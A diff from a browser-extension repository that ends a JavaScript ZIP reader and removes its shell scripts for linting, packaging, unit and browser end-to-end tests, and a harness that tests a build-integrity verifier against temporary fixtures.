const method = buf.readUInt16LE(at + 10);
|
||||
const crc = buf.readUInt32LE(at + 16);
|
||||
const compSize = buf.readUInt32LE(at + 20);
|
||||
const rawSize = buf.readUInt32LE(at + 24);
|
||||
const nameLen = buf.readUInt16LE(at + 28);
|
||||
const extraLen = buf.readUInt16LE(at + 30);
|
||||
const commentLen = buf.readUInt16LE(at + 32);
|
||||
const localAt = buf.readUInt32LE(at + 42);
|
||||
const name = buf.toString("ascii", at + 46, at + 46 + nameLen);
|
||||
at += 46 + nameLen + extraLen + commentLen;
|
||||
|
||||
if (buf.readUInt32LE(localAt) !== LOCAL_SIG) {
|
||||
throw new Error(`zip: ${name} has no local header`);
|
||||
}
|
||||
// The local header's own name and extra lengths, not the central
|
||||
// directory's: the two are allowed to differ and the data starts after
|
||||
// the local ones.
|
||||
const localNameLen = buf.readUInt16LE(localAt + 26);
|
||||
const localExtraLen = buf.readUInt16LE(localAt + 28);
|
||||
const dataAt = localAt + 30 + localNameLen + localExtraLen;
|
||||
const body = buf.subarray(dataAt, dataAt + compSize);
|
||||
|
||||
let data;
|
||||
if (method === METHOD_STORE) {
|
||||
data = Buffer.from(body);
|
||||
} else if (method === METHOD_DEFLATE) {
|
||||
data = zlib.inflateRawSync(body);
|
||||
} else {
|
||||
throw new Error(`zip: ${name} uses compression method ${method}`);
|
||||
}
|
||||
|
||||
if (data.length !== rawSize) {
|
||||
throw new Error(
|
||||
`zip: ${name} decompressed to ${data.length} bytes, not the ` +
|
||||
`recorded ${rawSize}`,
|
||||
);
|
||||
}
|
||||
if (crc32(data) !== crc) {
|
||||
throw new Error(`zip: ${name} fails its recorded CRC32`);
|
||||
}
|
||||
out.push({ name, data });
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
module.exports = { crc32, readZip, writeZip };
|
||||
51
script/lint
51
script/lint
@@ -1,51 +0,0 @@
|
||||
#!/bin/sh
|
||||
# script/lint: run the linter (eslint, then prettier --check).
|
||||
#
|
||||
# Linting is containerized. ESLint results depend on the ESLint version, and
|
||||
# the pinned one is the one in the image; a host's own install must not be
|
||||
# able to decide whether this repo is green. From a host this therefore builds
|
||||
# the Dockerfile's `lint` stage, which runs this same script inside the image.
|
||||
#
|
||||
# AUTISTMASK_LINT_NATIVE is set only in that image (see the Dockerfile) and is
|
||||
# what stops the recursion, so `make check` inside the CI build lints in place
|
||||
# instead of trying to reach a docker daemon it does not have.
|
||||
set -eu
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
|
||||
|
||||
main() {
|
||||
cd "$ROOT"
|
||||
|
||||
case "${AUTISTMASK_LINT_NATIVE:-}" in
|
||||
1)
|
||||
echo "Linting..."
|
||||
yarn run lint 2>&1
|
||||
return 0
|
||||
;;
|
||||
"") ;;
|
||||
*)
|
||||
# Set but not recognized: say so rather than silently taking the
|
||||
# docker path, which would look like the variable had no effect.
|
||||
echo "lint: AUTISTMASK_LINT_NATIVE is set to" \
|
||||
"'${AUTISTMASK_LINT_NATIVE}'; the only recognized value is 1" >&2
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
|
||||
if ! command -v docker >/dev/null 2>&1; then
|
||||
echo "lint: docker is required; linting does not run on the host" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "Linting in the pinned container..."
|
||||
# --progress=plain: the default progress renderer collapses the lint
|
||||
# output on success, and a lint run whose output cannot be seen is not
|
||||
# evidence that it ran.
|
||||
#
|
||||
# --output=type=cacheonly: the exit status is the whole result; exporting
|
||||
# an image afterwards costs about ten times the lint itself.
|
||||
docker build --progress=plain --target lint \
|
||||
--output=type=cacheonly . 2>&1
|
||||
}
|
||||
|
||||
main "$@"
|
||||
@@ -1,38 +0,0 @@
|
||||
#!/bin/sh
|
||||
# script/package: produce the release artifacts — one self-contained,
|
||||
# versioned archive per browser — into release/. Our own extension to
|
||||
# scripts-to-rule-them-all.
|
||||
#
|
||||
# It builds first, through `make build` rather than by calling build.js
|
||||
# itself. That target is the only audited path to a release build: it creates
|
||||
# the build receipt outside the repo, scrubs AUTISTMASK_DEBUG from the
|
||||
# verifier's environment, tells script/verify-build in so many words to expect
|
||||
# a RELEASE build, and re-runs script/check-censored against dist/.
|
||||
# script/test-verify-build asserts that wiring by reading the recipe back out
|
||||
# of `make -n`. Re-implementing that sequence here would give the release
|
||||
# artifacts a second, unaudited path to dist/ — and it is the release
|
||||
# artifacts, above everything else, that must never be built from a debug
|
||||
# compile.
|
||||
#
|
||||
# This packages, it does not publish. Tagging, CRX packing and any upload are
|
||||
# outward-facing acts and are nobody's job but the owner's.
|
||||
set -eu
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
|
||||
|
||||
main() {
|
||||
cd "$ROOT"
|
||||
|
||||
if ! command -v make >/dev/null 2>&1; then
|
||||
echo "package: make is required (the release build runs through" \
|
||||
"make build)" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
make build
|
||||
|
||||
echo "Packaging release artifacts..."
|
||||
node script/lib/package.js
|
||||
}
|
||||
|
||||
main "$@"
|
||||
@@ -1,12 +0,0 @@
|
||||
#!/bin/sh
|
||||
# script/precommit: run by the git pre-commit hook; fails the commit if
|
||||
# checks fail. Our own extension to scripts-to-rule-them-all.
|
||||
set -eu
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)"
|
||||
|
||||
main() {
|
||||
"$SCRIPT_DIR/check"
|
||||
}
|
||||
|
||||
main "$@"
|
||||
@@ -1,12 +0,0 @@
|
||||
#!/bin/sh
|
||||
# script/projectname: output the name of this project. Our own
|
||||
# extension to scripts-to-rule-them-all. Other scripts that need the
|
||||
# name (e.g. script/docker) call this, so they can stay identical
|
||||
# across all repos.
|
||||
set -eu
|
||||
|
||||
main() {
|
||||
echo "autistmask"
|
||||
}
|
||||
|
||||
main "$@"
|
||||
13
script/setup
13
script/setup
@@ -1,13 +0,0 @@
|
||||
#!/bin/sh
|
||||
# script/setup: set up the repo for development after a fresh clone:
|
||||
# installs dependencies and the git pre-commit hook.
|
||||
set -eu
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)"
|
||||
|
||||
main() {
|
||||
"$SCRIPT_DIR/bootstrap"
|
||||
"$SCRIPT_DIR/install-precommit"
|
||||
}
|
||||
|
||||
main "$@"
|
||||
49
script/test
49
script/test
@@ -1,49 +0,0 @@
|
||||
#!/bin/sh
|
||||
# script/test: run the test suite.
|
||||
#
|
||||
# The timeout bounds a hung suite; it is not a performance budget. On a
|
||||
# developer host the suite finishes in about 8s and REPO_POLICIES' 30s cap is
|
||||
# the bound. Inside the image the same suite also pays a cold jest cache and
|
||||
# shares the runner with the rest of the build, which is not what that budget
|
||||
# describes, so the Dockerfile raises the bound through
|
||||
# AUTISTMASK_TEST_TIMEOUT. A cap a healthy suite can trip on a cold cache
|
||||
# produces a red that means nothing, and teaches "just run it again".
|
||||
set -eu
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
|
||||
TIMEOUT="${AUTISTMASK_TEST_TIMEOUT:-30}"
|
||||
|
||||
main() {
|
||||
cd "$ROOT"
|
||||
echo "Running tests (timeout ${TIMEOUT}s)..."
|
||||
|
||||
status=0
|
||||
timeout "$TIMEOUT" yarn run test 2>&1 || status=$?
|
||||
[ "$status" -eq 0 ] && return 0
|
||||
|
||||
# 124 is timeout(1) killing the suite. Say so: a kill is not a failed
|
||||
# assertion, and the verbose rerun would only spend the same wall clock
|
||||
# to be killed again.
|
||||
if [ "$status" -eq 124 ]; then
|
||||
echo "tests: TIMED OUT after ${TIMEOUT}s (no assertion failed)" >&2
|
||||
echo "tests: raise AUTISTMASK_TEST_TIMEOUT if the suite is healthy" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# 125 is timeout(1) itself failing, which here means AUTISTMASK_TEST_TIMEOUT
|
||||
# is not a duration it accepts. The suite never ran, so it neither timed out
|
||||
# nor failed, and the verbose rerun would only reprint the same complaint.
|
||||
if [ "$status" -eq 125 ]; then
|
||||
echo "tests: DID NOT RUN: timeout(1) rejected AUTISTMASK_TEST_TIMEOUT=\"${TIMEOUT}\"" >&2
|
||||
echo "tests: set it to a duration such as 30 or 180 (see timeout(1))" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "--- Rerunning with --verbose for details ---"
|
||||
timeout "$TIMEOUT" yarn run test:verbose 2>&1 || true
|
||||
# Always fail: the first run already proved the tests are broken, so a
|
||||
# flaky pass on the rerun must not turn the build green.
|
||||
exit 1
|
||||
}
|
||||
|
||||
main "$@"
|
||||
@@ -1,99 +0,0 @@
|
||||
#!/bin/sh
|
||||
# script/test-e2e: build the extension and drive the real popup in a real
|
||||
# Chromium inside a pinned container. Our own extension to
|
||||
# scripts-to-rule-them-all.
|
||||
#
|
||||
# Deliberately NOT called by script/check or script/test: REPO_POLICIES.md
|
||||
# caps make test at 20 seconds and a browser suite does not fit. Run it
|
||||
# yourself before touching popup views. ESLint's no-undef now catches a
|
||||
# used-but-not-imported identifier in make check, but only this suite sees
|
||||
# what a view actually does when it runs.
|
||||
# .gitea/workflows/e2e.yml also runs it on every push, in a job separate
|
||||
# from check so that cap and the local fast path both stay intact.
|
||||
#
|
||||
# Docker is the only prerequisite. The repo reaches the container as a
|
||||
# build context and the extension is built inside it (see
|
||||
# tests/e2e/Dockerfile), so nothing here depends on the node, yarn or make
|
||||
# on the machine that starts the run. That is not a convenience: a bind
|
||||
# mount cannot work under Gitea Actions, and the runner image's node is too
|
||||
# old to install this repo's dependencies.
|
||||
set -eu
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)"
|
||||
ROOT="$(cd "$SCRIPT_DIR/.." && pwd -P)"
|
||||
|
||||
IMAGE="$("$SCRIPT_DIR/projectname")-e2e-chrome"
|
||||
|
||||
IIDFILE=""
|
||||
|
||||
cleanup() {
|
||||
if [ -n "$IIDFILE" ]; then
|
||||
rm -f "$IIDFILE"
|
||||
fi
|
||||
}
|
||||
|
||||
main() {
|
||||
cd "$ROOT"
|
||||
|
||||
if ! command -v docker >/dev/null 2>&1; then
|
||||
echo "test-e2e: docker is required to run the e2e suite" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
IIDFILE="$(mktemp)"
|
||||
trap cleanup EXIT
|
||||
trap 'cleanup; exit 130' INT TERM
|
||||
|
||||
echo "Building the Chrome e2e image (extension included)..."
|
||||
docker build --iidfile "$IIDFILE" -t "$IMAGE" -f tests/e2e/Dockerfile .
|
||||
|
||||
echo "Running e2e suite in the pinned Playwright container..."
|
||||
# The image is run by ID, not by tag: where two clones of this repo run
|
||||
# the suite at once, the other build can move the tag between this
|
||||
# build and this run, and the suite would then silently test the other
|
||||
# checkout.
|
||||
#
|
||||
# --ipc=host: Chromium's shared-memory needs more than the default
|
||||
# 64MB /dev/shm or renderers crash.
|
||||
# HOME=/tmp: the image's root home is not a reliable place for the
|
||||
# browser profile.
|
||||
# PW_EXPERIMENTAL_SERVICE_WORKER_NETWORK_EVENTS=1: without it,
|
||||
# ctx.route() intercepts page requests only, and every fetch made by
|
||||
# the MV3 background service worker — the JSON-RPC calls behind
|
||||
# every approval the suite drives among them — goes to the real
|
||||
# internet. The flag is experimental and Playwright may drop or
|
||||
# rename it. It cannot break silently: the harness asks the worker
|
||||
# for one request of its own at launch and aborts the whole suite
|
||||
# if it does not reach the route handler (see the interception
|
||||
# canary in tests/e2e/harness.js). If a future Playwright removes
|
||||
# the flag, that probe is what will fail, and the fix is either a
|
||||
# replacement mechanism or an honest downgrade of the isolation
|
||||
# claim in tests/e2e/network.js and README.md — not deleting the
|
||||
# probe. The image is pinned by digest, so this can only ever bite
|
||||
# on a deliberate bump.
|
||||
docker run --rm \
|
||||
--ipc=host \
|
||||
-e HOME=/tmp \
|
||||
-e PW_EXPERIMENTAL_SERVICE_WORKER_NETWORK_EVENTS=1 \
|
||||
-e "E2E_TRACE_NETWORK=${E2E_TRACE_NETWORK:-0}" \
|
||||
"$(cat "$IIDFILE")" \
|
||||
node tests/e2e/run.js
|
||||
|
||||
# Where chrome.storage.local lives, and what moves it: two unpacked loads
|
||||
# from two different paths in one profile, with the shipped manifest and
|
||||
# again with `key` stripped out. Its own browser sessions — four of them —
|
||||
# because the whole subject is what happens ACROSS loads, which the suite
|
||||
# above cannot express with one.
|
||||
#
|
||||
# No PW_EXPERIMENTAL_SERVICE_WORKER_NETWORK_EVENTS here: this drives no
|
||||
# RPC and installs no route handlers, and the browser is started with
|
||||
# --host-resolver-rules=MAP * ~NOTFOUND so nothing it does can leave.
|
||||
echo "Running the extension-id and storage-partition observations..."
|
||||
docker run --rm \
|
||||
--ipc=host \
|
||||
-e HOME=/tmp \
|
||||
"$(cat "$IIDFILE")" \
|
||||
node tests/e2e/storagePartition.js
|
||||
}
|
||||
|
||||
main "$@"
|
||||
@@ -1,90 +0,0 @@
|
||||
#!/bin/sh
|
||||
# script/test-e2e-firefox: build the extension and drive the real popup in
|
||||
# a real Firefox inside a pinned container. The Firefox counterpart to
|
||||
# script/test-e2e. Our own extension to scripts-to-rule-them-all.
|
||||
#
|
||||
# Deliberately NOT called by script/check or script/test, for the same
|
||||
# reason as the Chrome suite: REPO_POLICIES.md caps make test at 20 seconds
|
||||
# and a browser suite does not fit. .gitea/workflows/e2e.yml also runs it
|
||||
# on every push, in a job separate from check.
|
||||
#
|
||||
# Unlike script/test-e2e this builds its base image locally, because no
|
||||
# published image carries both a pinned Firefox and a matching geckodriver.
|
||||
# All three external artifacts are pinned by digest inside the Dockerfile;
|
||||
# see tests/e2e/firefox/Dockerfile, which also explains why the repo and
|
||||
# the extension build are baked into the image rather than mounted.
|
||||
#
|
||||
# Docker is the only prerequisite: nothing here depends on the node, yarn
|
||||
# or make on the machine that starts the run.
|
||||
set -eu
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)"
|
||||
ROOT="$(cd "$SCRIPT_DIR/.." && pwd -P)"
|
||||
|
||||
IMAGE="$("$SCRIPT_DIR/projectname")-e2e-firefox"
|
||||
|
||||
IIDFILE=""
|
||||
|
||||
cleanup() {
|
||||
if [ -n "$IIDFILE" ]; then
|
||||
rm -f "$IIDFILE"
|
||||
fi
|
||||
}
|
||||
|
||||
main() {
|
||||
cd "$ROOT"
|
||||
|
||||
if ! command -v docker >/dev/null 2>&1; then
|
||||
echo "test-e2e-firefox: docker is required to run the e2e suite" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
IIDFILE="$(mktemp)"
|
||||
trap cleanup EXIT
|
||||
trap 'cleanup; exit 130' INT TERM
|
||||
|
||||
echo "Building the pinned Firefox e2e image (extension included)..."
|
||||
docker build --iidfile "$IIDFILE" -t "$IMAGE" \
|
||||
-f tests/e2e/firefox/Dockerfile .
|
||||
|
||||
echo "Running the Firefox e2e suite..."
|
||||
# The image is run by ID, not by tag: where two clones of this repo run
|
||||
# the suite at once, the other build can move the tag between this
|
||||
# build and this run, and the suite would then silently test the other
|
||||
# checkout.
|
||||
#
|
||||
# --shm-size=1g: Firefox needs more than the default 64MB /dev/shm.
|
||||
# --network none: the suite stubs nothing, so this is what keeps the
|
||||
# run offline and deterministic. The extension swallows its own
|
||||
# fetch failures, so the popup flows work unchanged; see the
|
||||
# network note in README.md. Weaker than the Chrome suite's
|
||||
# fixture interception, and honestly so — it proves no request
|
||||
# escaped, but it cannot report which ones were attempted.
|
||||
# HOME=/tmp: the image's root home is not a reliable place for the
|
||||
# browser profile.
|
||||
#
|
||||
# No --privileged. Firefox's sandbox logs
|
||||
# "CanCreateUserNamespace() clone() failure: EPERM" on startup here;
|
||||
# it is cosmetic and headless Firefox runs fine without it.
|
||||
docker run --rm \
|
||||
--shm-size=1g \
|
||||
--network none \
|
||||
-e HOME=/tmp \
|
||||
"$(cat "$IIDFILE")" \
|
||||
node tests/e2e/firefox/run.js dist/firefox
|
||||
|
||||
# The install/uninstall/re-install property, against the packaged XPI
|
||||
# rather than the unpacked directory: it is the artifact a user would be
|
||||
# handed, and this is the only place a real Firefox is asked to load it.
|
||||
# Its own browser session, because it takes the add-on away in the middle
|
||||
# and the suite above shares one session throughout.
|
||||
echo "Running the Firefox re-install suite against the packaged XPI..."
|
||||
docker run --rm \
|
||||
--shm-size=1g \
|
||||
--network none \
|
||||
-e HOME=/tmp \
|
||||
"$(cat "$IIDFILE")" \
|
||||
node tests/e2e/firefox/reinstall.js
|
||||
}
|
||||
|
||||
main "$@"
|
||||
@@ -1,955 +0,0 @@
|
||||
#!/bin/sh
|
||||
# script/test-verify-build: exercise every failure mode of
|
||||
# script/verify-build, and what make build does with dist/ after one of them
|
||||
# (script/discard-dist-on-failure). Our own extension to
|
||||
# scripts-to-rule-them-all, run from script/check so make check covers it.
|
||||
#
|
||||
# Why this exists: verify-build is the build-integrity guard, and four separate
|
||||
# reviews of it each found a fresh vacuous pass — the grep exit-2 conflation,
|
||||
# the discarded find status, the line-delimited walk, and then the two the
|
||||
# receipt replaced: an expectation read out of the verifier's own environment,
|
||||
# and a file list read back out of the tree it was supposed to vouch for. Every
|
||||
# one was caught by someone building a tree by hand, because nothing in make
|
||||
# check could catch it. This is that hand battery, committed and automated.
|
||||
#
|
||||
# Each case asserts the exit status AND a substring of the message. A guard
|
||||
# that fails for the wrong reason (right status, different fault) is itself a
|
||||
# defect, so matching the status alone would not be a test of anything.
|
||||
#
|
||||
# The fixture is a temp tree containing script/verify-build as a SYMLINK to
|
||||
# the real script: verify-build takes its ROOT from dirname "$0"/.., so it
|
||||
# operates on the fixture's dist/ and never reads or writes the repo's build
|
||||
# output. The symlink rather than a copy is what makes a deliberate break in
|
||||
# the real script fail here. The fixture's receipt is written from the bytes
|
||||
# the fixture actually holds, exactly as a build writes one from the bytes it
|
||||
# emitted; a case that means "the build emitted this" regenerates it, and a
|
||||
# case that means "something changed dist/ afterwards" does not.
|
||||
#
|
||||
# The sha256 command is selected here independently of the one verify-build
|
||||
# picks. That is deliberate: a harness that reused the implementation's helper
|
||||
# would agree with it even when it is wrong.
|
||||
set -eu
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
|
||||
VERIFY_BUILD="$ROOT/script/verify-build"
|
||||
DISCARD_DIST="$ROOT/script/discard-dist-on-failure"
|
||||
|
||||
MARKER_ON="autistmask-build-debug=on"
|
||||
MARKER_OFF="autistmask-build-debug=off"
|
||||
|
||||
RECEIPT_HEADER="autistmask-build-receipt v1"
|
||||
|
||||
NEWLINE='
|
||||
'
|
||||
|
||||
PASSED=0
|
||||
FAILED=0
|
||||
SKIPPED=0
|
||||
SKIPPED_NAMES=""
|
||||
|
||||
# The command prefix that runs the permission-dependent cases as a user who
|
||||
# is actually subject to file permissions, and whether those cases can run at
|
||||
# all. Both are decided by probe_permission_runner, never assumed.
|
||||
UNPRIV=""
|
||||
PERM_ENABLED=no
|
||||
PERM_HOW=""
|
||||
|
||||
# The sha256 command, chosen by pick_sha256_tool.
|
||||
SHA256_CMD=""
|
||||
|
||||
WORK=""
|
||||
|
||||
cleanup() {
|
||||
[ -n "$WORK" ] || return 0
|
||||
# The cases chmod 000 files and directories on purpose.
|
||||
chmod -R u+rwX "$WORK" 2>/dev/null || true
|
||||
rm -rf "$WORK"
|
||||
}
|
||||
trap cleanup EXIT INT TERM
|
||||
|
||||
WORK="$(mktemp -d "${TMPDIR:-/tmp}/autistmask-test-verify-build.XXXXXX")"
|
||||
FIXTURE="$WORK/fixture"
|
||||
|
||||
# The build receipt for the fixture, kept outside the fixture's dist/ — and
|
||||
# outside the fixture altogether — because that is where a real one lives.
|
||||
RECEIPT="$WORK/receipt"
|
||||
|
||||
# verify-build mktemps its dist/ listing under TMPDIR. Pointing that inside
|
||||
# our work dir keeps the run leaving no residue, and keeps it writable for the
|
||||
# unprivileged user the permission cases run as.
|
||||
TMPDIR="$WORK/tmp"
|
||||
export TMPDIR
|
||||
mkdir -p "$TMPDIR"
|
||||
chmod 1777 "$TMPDIR"
|
||||
chmod 755 "$WORK"
|
||||
|
||||
# --- fixture ---------------------------------------------------------------
|
||||
|
||||
# The emitted tree a build of this repo produces in miniature: audited bundles
|
||||
# (A) that must carry a marker, and plain emitted files (P) that must not —
|
||||
# including the content script, which runs on every page, and the manifest,
|
||||
# neither of which the pre-receipt verifier read at all.
|
||||
FIXTURE_FILES="A dist/chrome/src/popup/index.js
|
||||
A dist/firefox/src/popup/index.js
|
||||
P dist/chrome/src/content/index.js
|
||||
P dist/chrome/manifest.json
|
||||
P dist/styles.css"
|
||||
|
||||
FIXTURE_REAL=""
|
||||
|
||||
# A stand-in for an emitted bundle: some text plus one marker literal, which
|
||||
# is all verify-build reads out of the real thing beyond its digest.
|
||||
write_bundle() {
|
||||
printf 'var a=1;/* %s */\nvar b=2;\n' "$2" >"$1"
|
||||
}
|
||||
|
||||
# Digest of $1, taken with the harness's own sha256 command.
|
||||
fixture_sha256() {
|
||||
# Word-split on purpose: SHA256_CMD is a command with its arguments.
|
||||
# shellcheck disable=SC2086
|
||||
_fs_out="$($SHA256_CMD "$1")"
|
||||
printf '%s' "${_fs_out%% *}"
|
||||
}
|
||||
|
||||
# Write the fixture's receipt, with a substitutable header and root line so the
|
||||
# cases can hand verify-build a receipt that is not one.
|
||||
write_receipt_custom() {
|
||||
_wrc_header="$1"
|
||||
_wrc_root="$2"
|
||||
|
||||
chmod u+rw "$RECEIPT" 2>/dev/null || true
|
||||
rm -f "$RECEIPT"
|
||||
|
||||
(
|
||||
cd "$FIXTURE"
|
||||
printf '%s\n' "$_wrc_header"
|
||||
printf 'root %s\n' "$_wrc_root"
|
||||
_saved_ifs="$IFS"
|
||||
IFS="$NEWLINE"
|
||||
for _entry in $FIXTURE_FILES; do
|
||||
IFS="$_saved_ifs"
|
||||
_flag="${_entry%% *}"
|
||||
_path="${_entry#* }"
|
||||
printf 'file %s %s %s\n' "$(fixture_sha256 "$_path")" \
|
||||
"$_flag" "$_path"
|
||||
IFS="$NEWLINE"
|
||||
done
|
||||
IFS="$_saved_ifs"
|
||||
) >"$RECEIPT"
|
||||
|
||||
# Readable by the unprivileged user the permission cases run as, whatever
|
||||
# umask this process has, until a case takes that away on purpose.
|
||||
chmod 644 "$RECEIPT"
|
||||
}
|
||||
|
||||
write_receipt() {
|
||||
write_receipt_custom "$RECEIPT_HEADER" "$FIXTURE_REAL"
|
||||
}
|
||||
|
||||
build_fixture() {
|
||||
chmod -R u+rwX "$FIXTURE" 2>/dev/null || true
|
||||
rm -rf "$FIXTURE"
|
||||
|
||||
mkdir -p "$FIXTURE/script"
|
||||
ln -s "$VERIFY_BUILD" "$FIXTURE/script/verify-build"
|
||||
ln -s "$DISCARD_DIST" "$FIXTURE/script/discard-dist-on-failure"
|
||||
|
||||
mkdir -p "$FIXTURE/dist/chrome/src/popup" \
|
||||
"$FIXTURE/dist/chrome/src/content" \
|
||||
"$FIXTURE/dist/firefox/src/popup"
|
||||
|
||||
write_bundle "$FIXTURE/dist/chrome/src/popup/index.js" "$MARKER_OFF"
|
||||
write_bundle "$FIXTURE/dist/firefox/src/popup/index.js" "$MARKER_OFF"
|
||||
printf 'var c=3;\n' >"$FIXTURE/dist/chrome/src/content/index.js"
|
||||
printf '{"manifest_version":3}\n' >"$FIXTURE/dist/chrome/manifest.json"
|
||||
printf 'body{color:#000}\n' >"$FIXTURE/dist/styles.css"
|
||||
|
||||
FIXTURE_REAL="$(cd "$FIXTURE" && pwd -P)"
|
||||
write_receipt
|
||||
|
||||
# Readable and traversable by the unprivileged user the permission cases
|
||||
# run as, before those cases take that away again on purpose.
|
||||
chmod -R a+rX "$FIXTURE"
|
||||
}
|
||||
|
||||
# --- permission runner ------------------------------------------------------
|
||||
|
||||
# Run a command through the current unprivileged runner. Unquoted on purpose:
|
||||
# UNPRIV is a command prefix that has to word-split.
|
||||
run_unpriv() {
|
||||
# shellcheck disable=SC2086
|
||||
$UNPRIV "$@"
|
||||
}
|
||||
|
||||
# Decide whether the permission-dependent cases can run, and prove it rather
|
||||
# than assuming it.
|
||||
#
|
||||
# The problem: the CI image declares no USER, so CI runs as root, and root is
|
||||
# not subject to file permissions — chmod 000 stops neither find nor grep. A
|
||||
# permission case run as root passes vacuously, which is worse than no case at
|
||||
# all because it reads as coverage.
|
||||
#
|
||||
# So the runner is validated with two probes before any permission case is
|
||||
# counted:
|
||||
#
|
||||
# - a mode-644 file MUST be readable through it. If not, the runner itself
|
||||
# is broken (missing helper, no such user, sandbox), and every case run
|
||||
# through it would fail for the wrong reason.
|
||||
# - a mode-000 file MUST NOT be readable through it. If it is, permissions
|
||||
# are not in force and the cases would pass without proving anything.
|
||||
#
|
||||
# Unprivileged: the runner is empty and both probes are about this process,
|
||||
# which is the honest answer. Root: setpriv and runuser are tried, both
|
||||
# present in the pinned CI base image. Only when no candidate passes both
|
||||
# probes are the cases skipped, and a skipped run says so unmistakably.
|
||||
probe_permission_runner() {
|
||||
_probe="$WORK/probe"
|
||||
mkdir -p "$_probe"
|
||||
printf 'readable\n' >"$_probe/public"
|
||||
printf 'secret\n' >"$_probe/private"
|
||||
chmod 755 "$_probe"
|
||||
chmod 644 "$_probe/public"
|
||||
chmod 000 "$_probe/private"
|
||||
|
||||
if [ "$(id -u)" -eq 0 ]; then
|
||||
_candidates="setpriv|setpriv --reuid=65534 --regid=65534 --clear-groups --
|
||||
runuser|runuser -u nobody --"
|
||||
else
|
||||
_candidates="direct|"
|
||||
fi
|
||||
|
||||
_tried=""
|
||||
_saved_ifs="$IFS"
|
||||
IFS="$NEWLINE"
|
||||
for _line in $_candidates; do
|
||||
IFS="$_saved_ifs"
|
||||
_label="${_line%%|*}"
|
||||
_cmd="${_line#*|}"
|
||||
_tried="${_tried:+$_tried, }$_label"
|
||||
|
||||
if [ -n "$_cmd" ]; then
|
||||
_bin="${_cmd%% *}"
|
||||
command -v "$_bin" >/dev/null 2>&1 || continue
|
||||
fi
|
||||
|
||||
UNPRIV="$_cmd"
|
||||
# Broken or unusable runner: the cases would fail for the wrong
|
||||
# reason. Reaching the script under test is part of usable.
|
||||
run_unpriv cat "$_probe/public" >/dev/null 2>&1 || continue
|
||||
run_unpriv cat "$VERIFY_BUILD" >/dev/null 2>&1 || continue
|
||||
# Permissions not in force through this runner: the cases would pass
|
||||
# without testing anything.
|
||||
if run_unpriv cat "$_probe/private" >/dev/null 2>&1; then
|
||||
continue
|
||||
fi
|
||||
|
||||
PERM_ENABLED=yes
|
||||
PERM_HOW="$_label"
|
||||
IFS="$_saved_ifs"
|
||||
return 0
|
||||
done
|
||||
IFS="$_saved_ifs"
|
||||
|
||||
UNPRIV=""
|
||||
PERM_ENABLED=no
|
||||
PERM_HOW="$_tried"
|
||||
}
|
||||
|
||||
# --- case runner ------------------------------------------------------------
|
||||
|
||||
# How verify-build is invoked for a case. The arguments are literal here rather
|
||||
# than assembled from a string, so nothing about a case's invocation depends on
|
||||
# word splitting. "envdebug" variants export AUTISTMASK_DEBUG=1 to prove the
|
||||
# verifier ignores it — that is the whole of the ambient-environment defect.
|
||||
run_verify() {
|
||||
_rv_variant="$1"
|
||||
_rv_perm="$2"
|
||||
_rv_bin="$FIXTURE/script/verify-build"
|
||||
|
||||
case "$_rv_variant" in
|
||||
release | release-envdebug)
|
||||
set -- --expect release --receipt "$RECEIPT"
|
||||
;;
|
||||
debug)
|
||||
set -- --expect debug --receipt "$RECEIPT"
|
||||
;;
|
||||
no-expect)
|
||||
set -- --receipt "$RECEIPT"
|
||||
;;
|
||||
no-receipt)
|
||||
set -- --expect release
|
||||
;;
|
||||
bad-expect)
|
||||
set -- --expect maybe --receipt "$RECEIPT"
|
||||
;;
|
||||
unknown-arg)
|
||||
set -- --expect release --receipt "$RECEIPT" --force
|
||||
;;
|
||||
receipt-in-dist)
|
||||
set -- --expect release --receipt "$FIXTURE/dist/receipt.txt"
|
||||
;;
|
||||
*)
|
||||
echo "test-verify-build: unknown variant $_rv_variant" >&2
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
|
||||
if [ "$_rv_perm" = yes ]; then
|
||||
run_unpriv "$_rv_bin" "$@"
|
||||
else
|
||||
"$_rv_bin" "$@"
|
||||
fi
|
||||
}
|
||||
|
||||
# check_case <name> <perm:yes|no> <variant> <status> <text> <setup>
|
||||
#
|
||||
# Rebuilds the fixture, applies <setup> inside it, runs verify-build, and
|
||||
# requires both the exit status and the message. <perm> marks a case that only
|
||||
# means anything when file permissions are in force.
|
||||
check_case() {
|
||||
_name="$1"
|
||||
_perm="$2"
|
||||
_variant="$3"
|
||||
_want_status="$4"
|
||||
_want_text="$5"
|
||||
_setup="$6"
|
||||
|
||||
if [ "$_perm" = yes ] && [ "$PERM_ENABLED" != yes ]; then
|
||||
SKIPPED=$((SKIPPED + 1))
|
||||
SKIPPED_NAMES="$SKIPPED_NAMES## - $_name$NEWLINE"
|
||||
echo " SKIP (permissions not in force): $_name"
|
||||
return 0
|
||||
fi
|
||||
|
||||
build_fixture
|
||||
if ! (cd "$FIXTURE" && "$_setup") >/dev/null 2>&1; then
|
||||
FAILED=$((FAILED + 1))
|
||||
echo " FAIL: $_name"
|
||||
echo " the case's own setup failed, so nothing was tested."
|
||||
return 0
|
||||
fi
|
||||
|
||||
# Exported rather than set as a command prefix: run_verify may go through
|
||||
# run_unpriv, which is a function, and an assignment prefixed to a function
|
||||
# call is not portable. Every other case unsets it, so the environment this
|
||||
# harness happens to run in cannot decide anything.
|
||||
case "$_variant" in
|
||||
*envdebug)
|
||||
AUTISTMASK_DEBUG=1
|
||||
export AUTISTMASK_DEBUG
|
||||
;;
|
||||
*)
|
||||
unset AUTISTMASK_DEBUG || true
|
||||
;;
